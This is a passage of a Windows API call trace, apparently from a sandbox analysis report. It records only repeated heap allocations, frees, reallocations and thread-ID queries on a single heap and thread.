(in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0112.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0112.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812b8 | out: hHeap=0x2ad0000) returned 1 [0112.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0112.729] GetCurrentThreadId () returned 0x9b0 [0112.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de558 [0112.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0112.729] GetCurrentThreadId () returned 0x9b0 [0112.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881258 [0112.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0112.729] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881240, Size=0x10) returned 0x3881078 [0112.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881210 [0112.729] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x10) returned 0x3881228 [0112.729] GetCurrentThreadId () returned 0x9b0 [0112.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0112.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0112.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de618 [0112.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0112.730] GetCurrentThreadId () returned 0x9b0 [0112.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0112.730] GetCurrentThreadId () returned 0x9b0 [0112.730] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de528 [0112.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0112.731] GetCurrentThreadId () returned 0x9b0 [0112.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4a8 [0112.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0112.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.731] GetCurrentThreadId () returned 0x9b0 [0112.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881258 [0112.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0112.731] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881078, Size=0x10) returned 0x3881270 [0112.731] GetCurrentThreadId () returned 0x9b0 [0112.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0112.732] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881228, Size=0x10) returned 0x38811f8 [0112.732] GetCurrentThreadId () returned 0x9b0 [0112.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0112.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0112.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0112.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0112.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0112.732] GetCurrentThreadId () returned 0x9b0 [0112.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38812b8 [0112.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0112.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881210 | out: hHeap=0x2ad0000) returned 1 [0112.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0112.733] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881270, Size=0x10) returned 0x38811b0 [0112.733] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811f8, Size=0x10) returned 0x3881120 [0112.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812b8 | out: hHeap=0x2ad0000) returned 1 [0112.733] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811b0, Size=0x10) returned 0x3881108 [0112.733] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881120, Size=0x10) returned 0x38811b0 [0112.733] GetCurrentThreadId () returned 0x9b0 [0112.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de578 [0112.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.733] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881108, Size=0x10) returned 0x38811c8 [0112.733] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811b0, Size=0x10) returned 0x3881078 [0112.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0112.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0112.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0112.734] GetCurrentThreadId () returned 0x9b0 [0112.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0112.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0112.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.734] GetCurrentThreadId () returned 0x9b0 [0112.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881108 [0112.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.735] GetCurrentThreadId () returned 0x9b0 [0112.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811b0 [0112.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0112.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0112.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0112.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0112.735] GetCurrentThreadId () returned 0x9b0 [0112.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0112.736] GetCurrentThreadId () returned 0x9b0 [0112.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de568 [0112.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881240 [0112.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0112.736] GetCurrentThreadId () returned 0x9b0 [0112.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0112.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0112.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0112.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0112.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0112.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0112.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0112.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0112.737] GetCurrentThreadId () returned 0x9b0 [0112.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.737] GetCurrentThreadId () returned 0x9b0 [0112.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de628 [0112.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.737] GetCurrentThreadId () returned 0x9b0 [0112.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de628 | out: hHeap=0x2ad0000) returned 1 [0112.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.738] GetCurrentThreadId () returned 0x9b0 [0112.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4b8 [0112.738] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881078, Size=0x20) returned 0x30283f0 [0112.738] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811c8, Size=0x20) returned 0x3028558 [0112.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0112.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0112.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0112.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0112.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0112.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0112.738] GetCurrentThreadId () returned 0x9b0 [0112.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0112.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0112.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0112.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0112.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0112.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0112.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0112.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0112.739] GetCurrentThreadId () returned 0x9b0 [0112.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de538 [0112.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.739] GetCurrentThreadId () returned 0x9b0 [0112.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de558 [0112.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0112.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de578 [0112.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0112.740] GetCurrentThreadId () returned 0x9b0 [0112.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0112.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0112.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812e8 [0112.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0112.740] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x18) returned 0x3183be0 [0112.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5d8 [0112.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de528 [0112.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.740] GetCurrentThreadId () returned 0x9b0 [0112.740] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x18) returned 0x31838a0 [0112.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0112.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0112.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.741] GetCurrentThreadId () returned 0x9b0 [0112.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0112.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0112.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0112.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de618 [0112.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0112.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812e8 | out: hHeap=0x2ad0000) returned 1 [0112.742] GetCurrentThreadId () returned 0x9b0 [0112.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4b8 [0112.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0112.742] GetCurrentThreadId () returned 0x9b0 [0112.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de618 [0112.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0112.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de568 [0112.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0112.742] GetCurrentThreadId () returned 0x9b0 [0112.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881168 [0112.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0112.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0112.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38812b8 [0112.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0112.743] GetCurrentThreadId () returned 0x9b0 [0112.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0112.743] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183be0, Size=0x14) returned 0x3183920 [0112.743] GetCurrentThreadId () returned 0x9b0 [0112.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812e8 [0112.743] GetCurrentThreadId () returned 0x9b0 [0112.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810c0 [0112.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0112.743] GetCurrentThreadId () returned 0x9b0 [0112.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0112.744] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838a0, Size=0x14) returned 0x3183900 [0112.744] GetCurrentThreadId () returned 0x9b0 [0112.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0112.744] GetCurrentThreadId () returned 0x9b0 [0112.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0112.744] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361cd08, Size=0x941) returned 0x33db5a8 [0112.744] GetCurrentThreadId () returned 0x9b0 [0112.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0112.744] GetCurrentThreadId () returned 0x9b0 [0112.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881138 [0112.745] GetCurrentThreadId () returned 0x9b0 [0112.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38811f8 [0112.745] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183920, Size=0x10) returned 0x38811c8 [0112.745] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183900, Size=0x10) returned 0x3881048 [0112.745] GetCurrentThreadId () returned 0x9b0 [0112.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.745] GetCurrentThreadId () returned 0x9b0 [0112.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de618 [0112.745] GetCurrentThreadId () returned 0x9b0 [0112.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.745] GetCurrentThreadId () returned 0x9b0 [0112.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0112.745] GetCurrentThreadId () returned 0x9b0 [0112.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881048, Size=0x20) returned 0x3028558 [0112.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811c8, Size=0x20) returned 0x30281c0 [0112.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0112.746] GetCurrentThreadId () returned 0x9b0 [0112.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0112.746] GetCurrentThreadId () returned 0x9b0 [0112.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0112.746] GetCurrentThreadId () returned 0x9b0 [0112.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.746] GetCurrentThreadId () returned 0x9b0 [0112.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de538 [0112.746] GetCurrentThreadId () returned 0x9b0 [0112.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de638 [0112.747] GetCurrentThreadId () returned 0x9b0 [0112.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38811c8 [0112.747] GetCurrentThreadId () returned 0x9b0 [0112.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0112.747] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x38874a0 [0112.747] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30281c0, Size=0x40) returned 0x3887800 [0112.747] GetCurrentThreadId () returned 0x9b0 [0112.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0112.747] GetCurrentThreadId () returned 0x9b0 [0112.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de548 [0112.747] GetCurrentThreadId () returned 0x9b0 [0112.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de608 [0112.748] GetCurrentThreadId () returned 0x9b0 [0112.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de668 [0112.748] GetCurrentThreadId () returned 0x9b0 [0112.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de668 [0112.748] GetCurrentThreadId () returned 0x9b0 [0112.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de668 [0112.748] GetCurrentThreadId () returned 0x9b0 [0112.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887800, Size=0x28) returned 0x2a200d8 [0112.748] GetCurrentThreadId () returned 0x9b0 [0112.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38874a0, Size=0x28) returned 0x2a20138 [0112.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881048 [0112.748] GetCurrentThreadId () returned 0x9b0 [0112.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.749] GetCurrentThreadId () returned 0x9b0 [0112.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38811c8 [0112.749] GetCurrentThreadId () returned 0x9b0 [0112.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0112.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.749] GetCurrentThreadId () returned 0x9b0 [0112.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de668 [0112.749] RtlAllocateHeap 